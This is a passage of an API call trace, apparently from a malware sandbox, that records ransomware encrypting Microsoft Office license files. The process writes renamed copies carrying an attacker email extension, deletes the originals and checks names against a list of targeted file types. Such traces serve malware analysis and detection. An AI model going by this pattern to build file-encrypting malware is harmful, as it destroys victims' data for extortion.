	[0162.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0162.138] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.138] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.139] GetLastError () returned 0x0
	[0162.139] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0162.150] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0162.151] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.151] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x108, lpOverlapped=0x0) returned 1
	[0162.152] SetEndOfFile (hFile=0x350) returned 1
	[0162.152] CloseHandle (hObject=0x350) returned 1
	[0162.152] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.152] SetEndOfFile (hFile=0x4b0) returned 1
	[0162.156] CloseHandle (hObject=0x4b0) returned 1
	[0162.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1
	[0162.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.158] lstrlenW (lpString=".doc") returned 4
	[0162.158] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.158] lstrlenW (lpString=".docx") returned 5
	[0162.158] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.158] lstrlenW (lpString=".pdf") returned 4
	[0162.158] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString=".xls") returned 4
	[0162.159] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString=".xlsx") returned 5
	[0162.159] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.159] lstrlenW (lpString=".ppt") returned 4
	[0162.159] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.159] lstrlenW (lpString=".zip") returned 4
	[0162.159] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString=".rar") returned 4
	[0162.159] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString=".bz2") returned 4
	[0162.159] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString=".7z") returned 3
	[0162.159] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.159] lstrlenW (lpString=".dbf") returned 4
	[0162.159] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.159] lstrlenW (lpString=".1cd") returned 4
	[0162.159] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0162.159] lstrlenW (lpString=".jpg") returned 4
	[0162.160] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0162.161] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10635) returned 1
	[0162.161] CloseHandle (hObject=0x4b0) returned 1
	[0162.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220
	[0162.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0162.162] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.162] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0162.163] GetLastError () returned 0x0
	[0162.163] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x298b, lpOverlapped=0x0) returned 1
	[0162.165] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2990, lpOverlapped=0x0) returned 1
	[0162.438] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.438] WriteFile (in: hFile=0x350, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x106, lpOverlapped=0x0) returned 1
	[0162.438] SetEndOfFile (hFile=0x350) returned 1
	[0162.438] CloseHandle (hObject=0x350) returned 1
	[0162.438] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.438] SetEndOfFile (hFile=0x4b0) returned 1
	[0162.488] CloseHandle (hObject=0x4b0) returned 1
	[0162.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1
	[0162.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.897] lstrlenW (lpString=".doc") returned 4
	[0162.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".docx") returned 5
	[0162.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.897] lstrlenW (lpString=".pdf") returned 4
	[0162.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".xls") returned 4
	[0162.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".xlsx") returned 5
	[0162.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.897] lstrlenW (lpString=".ppt") returned 4
	[0162.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.897] lstrlenW (lpString=".zip") returned 4
	[0162.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".rar") returned 4
	[0162.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".bz2") returned 4
	[0162.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.897] lstrlenW (lpString=".7z") returned 3
	[0162.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.898] lstrlenW (lpString=".dbf") returned 4
	[0162.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.898] lstrlenW (lpString=".1cd") returned 4
	[0162.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75
	[0162.898] lstrlenW (lpString=".jpg") returned 4
	[0162.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.902] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19919) returned 1
	[0162.902] CloseHandle (hObject=0x52c) returned 1
	[0162.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220
	[0162.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.904] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.904] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.905] GetLastError () returned 0x0
	[0162.905] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0162.932] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0162.934] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.934] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0162.934] SetEndOfFile (hFile=0x544) returned 1
	[0162.934] CloseHandle (hObject=0x544) returned 1
	[0162.934] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.934] SetEndOfFile (hFile=0x52c) returned 1
	[0162.938] CloseHandle (hObject=0x52c) returned 1
	[0162.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1
	[0162.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.940] lstrlenW (lpString=".doc") returned 4
	[0162.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.940] lstrlenW (lpString=".docx") returned 5
	[0162.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.940] lstrlenW (lpString=".pdf") returned 4
	[0162.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.940] lstrlenW (lpString=".xls") returned 4
	[0162.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.940] lstrlenW (lpString=".xlsx") returned 5
	[0162.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.940] lstrlenW (lpString=".ppt") returned 4
	[0162.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.940] lstrlenW (lpString=".zip") returned 4
	[0162.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.940] lstrlenW (lpString=".rar") returned 4
	[0162.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString=".bz2") returned 4
	[0162.941] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString=".7z") returned 3
	[0162.941] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.941] lstrlenW (lpString=".dbf") returned 4
	[0162.941] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.941] lstrlenW (lpString=".1cd") returned 4
	[0162.941] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.941] lstrlenW (lpString=".jpg") returned 4
	[0162.941] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.941] lstrlenW (lpString=".doc") returned 4
	[0162.941] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString=".docx") returned 5
	[0162.941] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.941] lstrlenW (lpString=".pdf") returned 4
	[0162.941] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.941] lstrlenW (lpString=".xls") returned 4
	[0162.941] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString=".xlsx") returned 5
	[0162.942] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.942] lstrlenW (lpString=".ppt") returned 4
	[0162.942] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.942] lstrlenW (lpString=".zip") returned 4
	[0162.942] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString=".rar") returned 4
	[0162.942] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString=".bz2") returned 4
	[0162.942] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString=".7z") returned 3
	[0162.942] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.942] lstrlenW (lpString=".dbf") returned 4
	[0162.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.942] lstrlenW (lpString=".1cd") returned 4
	[0162.942] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0162.942] lstrlenW (lpString=".jpg") returned 4
	[0162.942] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.942] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.942] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22
	[0162.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.944] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11139) returned 1
	[0162.944] CloseHandle (hObject=0x52c) returned 1
	[0162.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220
	[0162.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0162.944] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.944] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.946] GetLastError () returned 0x0
	[0162.946] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0162.997] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0162.999] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.999] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0162.999] SetEndOfFile (hFile=0x544) returned 1
	[0163.092] CloseHandle (hObject=0x544) returned 1
	[0163.093] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.093] SetEndOfFile (hFile=0x52c) returned 1
	[0163.097] CloseHandle (hObject=0x52c) returned 1
	[0163.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1
	[0163.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0163.108] lstrlenW (lpString=".doc") returned 4
	[0163.108] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.108] lstrlenW (lpString=".docx") returned 5
	[0163.108] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.108] lstrlenW (lpString=".pdf") returned 4
	[0163.108] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.108] lstrlenW (lpString=".xls") returned 4
	[0163.108] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.108] lstrlenW (lpString=".xlsx") returned 5
